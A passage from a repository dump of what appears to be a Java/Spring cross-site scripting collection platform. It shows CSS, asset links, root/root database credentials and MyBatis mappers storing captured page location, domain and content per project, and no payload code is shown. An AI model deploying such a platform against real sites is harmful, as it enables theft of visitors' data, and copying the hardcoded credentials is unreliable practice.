.tpl-form-line-form input[type=time], 1641 | .tpl-form-line-form input[type=week], 1642 | .tpl-form-line-form input[type=email], 1643 | .tpl-form-line-form input[type=url], 1644 | .tpl-form-line-form input[type=tel], 1645 | .tpl-form-line-form input[type=color], 1646 | .tpl-form-line-form select, 1647 | .tpl-form-line-form textarea, 1648 | .am-form-field { 1649 | display: block; 1650 | width: 100%; 1651 | padding: 6px 12px; 1652 | font-size: 14px; 1653 | line-height: 1.42857; 1654 | color: #4d6b8a; 1655 | background-color: #fff; 1656 | background-image: none; 1657 | border: 1px solid #c2cad8; 1658 | border-radius: 4px; 1659 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1660 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1661 | -webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; 1662 | -o-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; 1663 | transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; 1664 | background: 0 0; 1665 | border: 0; 1666 | border-bottom: 1px solid #c2cad8; 1667 | -webkit-border-radius: 0; 1668 | -moz-border-radius: 0; 1669 | -ms-border-radius: 0; 1670 | -o-border-radius: 0; 1671 | border-radius: 0; 1672 | color: #555; 1673 | box-shadow: none; 1674 | padding-left: 0; 1675 | padding-right: 0; 1676 | font-size: 14px; 1677 | } 1678 | 1679 | .tpl-amazeui-form {} 1680 | 1681 | .tpl-amazeui-form .am-form-label { 1682 | color: #999; 1683 | font-weight: normal; 1684 | font-size: 14px; 1685 | } 1686 | 1687 | .tpl-amazeui-form input::-webkit-input-placeholder { 1688 | font-size: 12px; 1689 | } 1690 | 1691 | .tpl-amazeui-form textarea::-webkit-input-placeholder { 1692 | font-size: 12px; 1693 | } 1694 | 1695 | .tpl-amazeui-form small { 1696 | font-size: 12px; 1697 | } 1698 | 1699 | .tpl-form-line-form .am-checkbox, 1700 | .tpl-form-line-form .am-checkbox-inline, 1701 | .tpl-form-line-form .am-form-label, 1702 | .tpl-form-line-form .am-radio, 1703 | .tpl-form-line-form .am-radio-inline { 1704 | margin-top: 0; 1705 | margin-bottom: 0; 1706 | } 1707 | 1708 | .tpl-form-line-form .am-form-group:after { 1709 | clear: both; 1710 | } 1711 | 1712 | .tpl-form-line-form .am-form-group:after, 1713 | .tpl-form-line-form .am-form-group:before { 1714 | content: " "; 1715 | display: table; 1716 | } 1717 | 1718 | .tpl-form-line-form .am-form-label { 1719 | padding-top: 5px; 1720 | font-size: 16px; 1721 | color: #888; 1722 | font-weight: inherit; 1723 | text-align: right; 1724 | } 1725 | 1726 | .tpl-form-line-form .am-form-group { 1727 | /*padding: 20px 0;*/ 1728 | } 1729 | 1730 | .tpl-form-line-form .am-form-label .tpl-form-line-small-title { 1731 | color: #999; 1732 | font-size: 12px; 1733 | } 1734 | 1735 | .tpl-form-no-bg { 1736 | background: none!important; 1737 | } 1738 | 1739 | .tpl-switch input[type="checkbox"] { 1740 | position: absolute; 1741 | opacity: 0; 1742 | } 1743 | 1744 | .tpl-switch input[type="checkbox"].ios-switch+div { 1745 | vertical-align: middle; 1746 | width: 40px; 1747 | height: 20px; 1748 | border-radius: 999px; 1749 | background-color: rgba(0, 0, 0, 0.1); 1750 | -webkit-transition-duration: .4s; 1751 | -webkit-transition-property: background-color, box-shadow; 1752 | margin-top: 6px; 1753 | } 1754 | 1755 | .tpl-switch input[type="checkbox"].ios-switch:checked+div { 1756 | width: 40px; 1757 | background-position: 0 0; 1758 | background-color: #36c6d3; 1759 | } 1760 | 1761 | .tpl-switch input[type="checkbox"].tinyswitch.ios-switch+div { 1762 | width: 34px; 1763 | height: 18px; 1764 | } 1765 | 1766 | .tpl-switch input[type="checkbox"].bigswitch.ios-switch+div { 1767 | width: 50px; 1768 | height: 25px; 1769 | } 1770 | 1771 | .tpl-switch input[type="checkbox"].green.ios-switch:checked+div { 1772 | background-color: #00e359; 1773 | border: 1px solid rgba(0, 162, 63, 1); 1774 | box-shadow: inset 0 0 0 10px rgba(0, 227, 89, 1); 1775 | } 1776 | 1777 | .tpl-switch input[type="checkbox"].ios-switch+div>div { 1778 | float: left; 1779 | width: 18px; 1780 | height: 18px; 1781 | border-radius: inherit; 1782 | background: #ffffff; 1783 | -webkit-transition-timing-function: cubic-bezier(.54, 1.85, .5, 1); 1784 | -webkit-transition-duration: 0.4s; 1785 | -webkit-transition-property: transform, background-color, box-shadow; 1786 | -moz-transition-timing-function: cubic-bezier(.54, 1.85, .5, 1); 1787 | -moz-transition-duration: 0.4s; 1788 | -moz-transition-property: transform, background-color; 1789 | pointer-events: none; 1790 | margin-top: 1px; 1791 | margin-left: 1px; 1792 | } 1793 | 1794 | .tpl-switch input[type="checkbox"].ios-switch:checked+div>div { 1795 | -webkit-transform: translate3d(20px, 0, 0); 1796 | -moz-transform: translate3d(20px, 0, 0); 1797 | background-color: #ffffff; 1798 | } 1799 | 1800 | .tpl-switch input[type="checkbox"].tinyswitch.ios-switch+div>div { 1801 | width: 16px; 1802 | height: 16px; 1803 | margin-top: 1px; 1804 | } 1805 | 1806 | .tpl-switch input[type="checkbox"].tinyswitch.ios-switch:checked+div>div { 1807 | -webkit-transform: translate3d(16px, 0, 0); 1808 | -moz-transform: translate3d(16px, 0, 0); 1809 | box-shadow: 0px 2px 5px rgba(0, 0, 0, 0.3), 0px 0px 0 1px rgba(8, 80, 172, 1); 1810 | } 1811 | 1812 | .tpl-switch input[type="checkbox"].bigswitch.ios-switch+div>div { 1813 | width: 23px; 1814 | height: 23px; 1815 | margin-top: 1px; 1816 | } 1817 | 1818 | .tpl-switch input[type="checkbox"].bigswitch.ios-switch:checked+div>div { 1819 | -webkit-transform: translate3d(25px, 0, 0); 1820 | -moz-transform: translate3d(16px, 0, 0); 1821 | } 1822 | 1823 | .tpl-switch input[type="checkbox"].green.ios-switch:checked+div>div { 1824 | box-shadow: 0px 2px 5px rgba(0, 0, 0, 0.3), 0 0 0 1px rgba(0, 162, 63, 1); 1825 | } 1826 | 1827 | .tpl-btn-bg-color-success { 1828 | background-color: #36c6d3!important; 1829 | border: none; 1830 | } 1831 | 1832 | .tpl-form-file-img { 1833 | width: 300px; 1834 | margin-bottom: 10px; 1835 | } 1836 | 1837 | .tpl-form-file-img img { 1838 | width: 100%; 1839 | display: block; 1840 | } 1841 | 1842 | .myapp-login { 1843 | background: #334054; 1844 | background-size: 100%; 1845 | height: 100%; 1846 | } 1847 | 1848 | .myapp-login-logo-block { 1849 | width: 100%; 1850 | } 1851 | 1852 | .myapp-login-logo { 1853 | width: 100%; 1854 | text-align: center; 1855 | padding-top: 30px; 1856 | } 1857 | 1858 | .myapp-login-logo i { 1859 | color: #eb602e; 1860 | font-size: 120px; 1861 | display: inline-block; 1862 | } 1863 | 1864 | .myapp-login-logo-text { 1865 | padding-top: 30px; 1866 | font-family: Helvetica, Arial, "Microsoft YaHei", FreeSans, Arimo, "Droid Sans", "wenquanyi micro hei", "Hiragino Sans GB", "Hiragino Sans GB W3", FontAwesome, sans-serif; 1867 | color: #fff; 1868 | font-weight: bold; 1869 | font-size: 40px; 1870 | text-align: center; 1871 | width: 100%; 1872 | } 1873 | 1874 | .myapp-login-logo-text span { 1875 | color: #53d192; 1876 | } 1877 | 1878 | .myapp-login-logo-text i { 1879 | color: #53d192; 1880 | font-size: 50px; 1881 | } 1882 | 1883 | .myapp-login-logo-text .info { 1884 | padding-bottom: 30px; 1885 | border-bottom: 1px solid #4d4d4d; 1886 | font-family: FreeSans, Arimo, "Droid Sans", "wenquanyi micro hei", "Hiragino Sans GB", "Hiragino Sans GB W3", FontAwesome, sans-serif; 1887 | width: 100%; 1888 | font-weight: normal; 1889 | font-size: 14px; 1890 | color: #fff; 1891 | } 1892 | 1893 | .login-font { 1894 | font-size: 12px; 1895 | font-family: "wenquanyi micro hei", "Hiragino Sans GB", "Hiragino Sans GB W3", FontAwesome, sans-serif; 1896 | width: 100%; 1897 | color: #5e5e5e; 1898 | text-align: center; 1899 | padding: 20px 0; 1900 | padding-top: 10px; 1901 | } 1902 | 1903 | .login-font i { 1904 | color: #53d192; 1905 | font-style: normal; 1906 | } 1907 | 1908 | .login-font span { 1909 | color: #fff; 1910 | } 1911 | 1912 | .myapp-login .am-form-group { 1913 | margin-bottom: 0; 1914 | } 1915 | 1916 | .login-am-center { 1917 | margin: 0 auto; 1918 | float: none; 1919 | } 1920 | 1921 | .login-am-center .am-form input { 1922 | background: #fff; 1923 | border: none; 1924 | font-size: 12px; 1925 | line-height: 30px; 1926 | text-indent: 10px; 1927 | border-radius: 0px 0px 6px 6px; 1928 | } 1929 | 1930 | .login-am-center .am-form .am-form-group:first-child input { 1931 | border-radius: 6px 6px 0px 0px; 1932 | } 1933 | 1934 | .login-am-center .am-btn-default { 1935 | width: 100%; 1936 | border-radius: 6px; 1937 | background: #53d192; 1938 | border: none; 1939 | color: #fff; 1940 | font-size: 14px; 1941 | line-height: 30px; 1942 | } 1943 | 1944 | .tpl-login-max { 1945 | max-width: 640px; 1946 | margin: 0 auto; 1947 | } 1948 | 1949 | .am-topbar-btn { 1950 | margin-top: 21px; 1951 | } 1952 | 1953 | .tpl-chart-mb { 1954 | margin-top: 20px; 1955 | margin-bottom: 40px; 1956 | } 1957 | 1958 | @media screen and (max-width: 1000px) { 1959 | .tpl-left-nav-hover { 1960 | display: none; 1961 | width: 100%; 1962 | margin-bottom: 10px; 1963 | } 1964 | .tpl-left-nav-list { 1965 | width: 100%; 1966 | } 1967 | .tpl-content-wrapper { 1968 | padding-left: 0; 1969 | } 1970 | } -------------------------------------------------------------------------------- /WebRoot/assets/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /WebRoot/assets/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /WebRoot/assets/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /WebRoot/assets/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /WebRoot/assets/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /WebRoot/assets/i/app-icon72x72@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/app-icon72x72@2x.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/admin-chrome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/admin-chrome.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/admin-firefox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/admin-firefox.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/admin-ie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/admin-ie.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/admin-opera.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/admin-opera.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/admin-safari.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/admin-safari.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/adminPage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/adminPage.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/blogPage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/blogPage.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/landing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/landing.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/landingPage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/landingPage.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/loginPage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/loginPage.png -------------------------------------------------------------------------------- /WebRoot/assets/i/examples/sidebarPage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/examples/sidebarPage.png -------------------------------------------------------------------------------- /WebRoot/assets/i/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/favicon.png -------------------------------------------------------------------------------- /WebRoot/assets/i/startup-640x1096.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/i/startup-640x1096.png -------------------------------------------------------------------------------- /WebRoot/assets/img/32.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/32.jpg -------------------------------------------------------------------------------- /WebRoot/assets/img/43.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/43.jpg -------------------------------------------------------------------------------- /WebRoot/assets/img/a1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a1.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a10.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a2.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a3.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a4.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a5.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a6.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a7.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a8.png -------------------------------------------------------------------------------- /WebRoot/assets/img/a9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/a9.png -------------------------------------------------------------------------------- /WebRoot/assets/img/lbbg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/lbbg.png -------------------------------------------------------------------------------- /WebRoot/assets/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/logo.png -------------------------------------------------------------------------------- /WebRoot/assets/img/syncfusion-icons-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/syncfusion-icons-white.png -------------------------------------------------------------------------------- /WebRoot/assets/img/user01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/user01.png -------------------------------------------------------------------------------- /WebRoot/assets/img/user02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/user02.png -------------------------------------------------------------------------------- /WebRoot/assets/img/user03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/user03.png -------------------------------------------------------------------------------- /WebRoot/assets/img/user04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/user04.png -------------------------------------------------------------------------------- /WebRoot/assets/img/user05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/user05.png -------------------------------------------------------------------------------- /WebRoot/assets/img/user06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/user06.png -------------------------------------------------------------------------------- /WebRoot/assets/img/user07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/img/user07.png -------------------------------------------------------------------------------- /WebRoot/assets/js/app.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/assets/js/app.js -------------------------------------------------------------------------------- /src/config/db.properties: -------------------------------------------------------------------------------- 1 | jdbc.driver=com.mysql.jdbc.Driver 2 | jdbc.url=jdbc:mysql://127.0.0.1:3306/xss?useUnicode=true&characterEncoding=UTF-8 3 | jdbc.username=root 4 | jdbc.password=root -------------------------------------------------------------------------------- /src/config/spring-mvc.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /src/config/spring-mybatis.xml: -------------------------------------------------------------------------------- 1 | 2 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 20 | 21 | 22 | 23 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 48 | 49 | 50 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /src/config/sqlMapConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/Admin.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.bean; 2 | 3 | public class Admin { 4 | 5 | private int id; 6 | private String adminname; 7 | private String adminpass; 8 | public Admin(int id, String adminname, String adminpass) { 9 | this.id = id; 10 | this.adminname = adminname; 11 | this.adminpass = adminpass; 12 | } 13 | public Admin() { 14 | } 15 | public int getId() { 16 | return id; 17 | } 18 | public void setId(int id) { 19 | this.id = id; 20 | } 21 | public String getAdminname() { 22 | return adminname; 23 | } 24 | public void setAdminname(String adminname) { 25 | this.adminname = adminname; 26 | } 27 | public String getAdminpass() { 28 | return adminpass; 29 | } 30 | public void setAdminpass(String adminpass) { 31 | this.adminpass = adminpass; 32 | } 33 | @Override 34 | public String toString() { 35 | return "Admin [id=" + id + ", adminname=" + adminname + ", adminpass=" 36 | + adminpass + "]"; 37 | } 38 | 39 | 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/AdminMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/Content.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.bean; 2 | 3 | public class Content { 4 | 5 | private int cid; 6 | private int pid; 7 | private String location; 8 | private String domain; 9 | private String content; 10 | private String date; 11 | 12 | public int getCid() { 13 | return cid; 14 | } 15 | public void setCid(int cid) { 16 | this.cid = cid; 17 | } 18 | public int getPid() { 19 | return pid; 20 | } 21 | public void setPid(int pid) { 22 | this.pid = pid; 23 | } 24 | public String getLocation() { 25 | return location; 26 | } 27 | public void setLocation(String location) { 28 | this.location = location; 29 | } 30 | public String getDomain() { 31 | return domain; 32 | } 33 | public void setDomain(String domain) { 34 | this.domain = domain; 35 | } 36 | public String getContent() { 37 | return content; 38 | } 39 | public void setContent(String content) { 40 | this.content = content; 41 | } 42 | public String getDate() { 43 | return date; 44 | } 45 | public void setDate(String date) { 46 | this.date = date; 47 | } 48 | public Content(int cid, int pid, String location, String domain, 49 | String content, String date) { 50 | this.cid = cid; 51 | this.pid = pid; 52 | this.location = location; 53 | this.domain = domain; 54 | this.content = content; 55 | this.date = date; 56 | } 57 | public Content() { 58 | } 59 | @Override 60 | public String toString() { 61 | return "Content [cid=" + cid + ", pid=" + pid + ", location=" 62 | + location + ", domain=" + domain + ", content=" + content 63 | + ", date=" + date + "]"; 64 | } 65 | 66 | 67 | } 68 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/ContentMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 14 | 15 | delete from xss_content where pid = #{pid} and cid = #{cid}; 16 | 17 | 20 | 21 | 22 | insert into xss_content values( 23 | 0,#{pid},#{location},#{domain},#{content},now() 24 | ); 25 | 26 | 27 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/Invite.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.bean; 2 | 3 | public class Invite { 4 | 5 | private int id; 6 | private String invitecode; 7 | private String credate; 8 | private int isuse; 9 | public int getId() { 10 | return id; 11 | } 12 | public void setId(int id) { 13 | this.id = id; 14 | } 15 | public String getInvitecode() { 16 | return invitecode; 17 | } 18 | public void setInvitecode(String invitecode) { 19 | this.invitecode = invitecode; 20 | } 21 | public String getCredate() { 22 | return credate; 23 | } 24 | public void setCredate(String credate) { 25 | this.credate = credate; 26 | } 27 | public int getIsuse() { 28 | return isuse; 29 | } 30 | public void setIsuse(int isuse) { 31 | this.isuse = isuse; 32 | } 33 | public Invite(int id, String invitecode, String credate, int isuse) { 34 | this.id = id; 35 | this.invitecode = invitecode; 36 | this.credate = credate; 37 | this.isuse = isuse; 38 | } 39 | public Invite() { 40 | } 41 | @Override 42 | public String toString() { 43 | return "Invite [id=" + id + ", invitecode=" + invitecode + ", credate=" 44 | + credate + ", isuse=" + isuse + "]"; 45 | } 46 | 47 | 48 | } 49 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/InviteMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 10 | 11 | update xss_invite set isuse = '1' where invitecode = #{code}; 12 | 13 | 14 | insert into xss_invite values( 15 | 0, 16 | MD5(RAND()*NOW()), 17 | NOW(), 18 | 0 19 | ); 20 | 21 | 24 | 25 | 28 | 29 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/Project.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.bean; 2 | 3 | import java.util.List; 4 | 5 | public class Project { 6 | 7 | private int pid; 8 | private int uid; 9 | private String pname; 10 | private String pdescription; 11 | private String createdate; 12 | private List data; 13 | private int page; 14 | 15 | 16 | 17 | public Project(int uid, String pname, String pdescription) { 18 | this.uid = uid; 19 | this.pname = pname; 20 | this.pdescription = pdescription; 21 | } 22 | public Project(int pid, int uid, String pname, String pdescription, 23 | String createdate, List data) { 24 | this.pid = pid; 25 | this.uid = uid; 26 | this.pname = pname; 27 | this.pdescription = pdescription; 28 | this.createdate = createdate; 29 | this.data = data; 30 | } 31 | public Project() { 32 | } 33 | 34 | public int getPage() { 35 | return page; 36 | } 37 | public void setPage(int page) { 38 | this.page = page; 39 | } 40 | public int getPid() { 41 | return pid; 42 | } 43 | public void setPid(int pid) { 44 | this.pid = pid; 45 | } 46 | public int getUser() { 47 | return uid; 48 | } 49 | public void setUser(int uid) { 50 | this.uid = uid; 51 | } 52 | public String getPname() { 53 | return pname; 54 | } 55 | public void setPname(String pname) { 56 | this.pname = pname; 57 | } 58 | public String getPdescription() { 59 | return pdescription; 60 | } 61 | public void setPdescription(String pdescription) { 62 | this.pdescription = pdescription; 63 | } 64 | public String getCreatedate() { 65 | return createdate; 66 | } 67 | public void setCreatedate(String createdate) { 68 | this.createdate = createdate; 69 | } 70 | public List getData() { 71 | return data; 72 | } 73 | public void setData(List data) { 74 | this.data = data; 75 | } 76 | @Override 77 | public String toString() { 78 | return "Project [pid=" + pid + ", uid=" + uid + ", pname=" + pname 79 | + ", pdescription=" + pdescription + ", createdate=" 80 | + createdate + ", data=" + data + "]"; 81 | } 82 | 83 | } 84 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/ProjectMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 9 | 10 | 13 | 14 | 15 | insert into xss_project(`pid`,`pname`,`pdescription`,`createdate`,`uid`) 16 | values(0,#{pname},#{pdescription},now(),#{uid}); 17 | 18 | 19 | 20 | delete from xss_project where uid = #{uid} and pid = #{pid}; 21 | 22 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/User.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.bean; 2 | 3 | import java.util.List; 4 | 5 | public class User { 6 | 7 | private int userid; 8 | private String email; 9 | private String username; 10 | private String password; 11 | private List project; 12 | 13 | 14 | 15 | public User(String email, String username, String password) { 16 | this.email = email; 17 | this.username = username; 18 | this.password = password; 19 | } 20 | 21 | public User(String username, String password) { 22 | this.username = username; 23 | this.password = password; 24 | } 25 | 26 | public User(int userid, String email, String username, String password, 27 | List project) { 28 | super(); 29 | this.userid = userid; 30 | this.email = email; 31 | this.username = username; 32 | this.password = password; 33 | this.project = project; 34 | } 35 | 36 | public String getEmail() { 37 | return email; 38 | } 39 | 40 | public void setEmail(String email) { 41 | this.email = email; 42 | } 43 | 44 | public User() { 45 | } 46 | public int getUserid() { 47 | return userid; 48 | } 49 | public void setUserid(int userid) { 50 | this.userid = userid; 51 | } 52 | public String getUsername() { 53 | return username; 54 | } 55 | public void setUsername(String username) { 56 | this.username = username; 57 | } 58 | public String getPassword() { 59 | return password; 60 | } 61 | public void setPassword(String password) { 62 | this.password = password; 63 | } 64 | public List getProject() { 65 | return project; 66 | } 67 | public void setProject(List project) { 68 | this.project = project; 69 | } 70 | 71 | @Override 72 | public String toString() { 73 | return "User [userid=" + userid + ", email=" + email + ", username=" 74 | + username + ", password=" + password + ", project=" + project 75 | + "]"; 76 | } 77 | 78 | 79 | } 80 | -------------------------------------------------------------------------------- /src/org/blue/xss/bean/UserMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 10 | 13 | 14 | insert into xss_user values( 15 | 0, 16 | #{email}, 17 | #{username}, 18 | #{password} 19 | ); 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/org/blue/xss/controller/AdminController.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.controller; 2 | 3 | import java.io.IOException; 4 | import java.io.PrintWriter; 5 | import java.util.List; 6 | 7 | import javax.servlet.http.HttpServletRequest; 8 | 9 | import 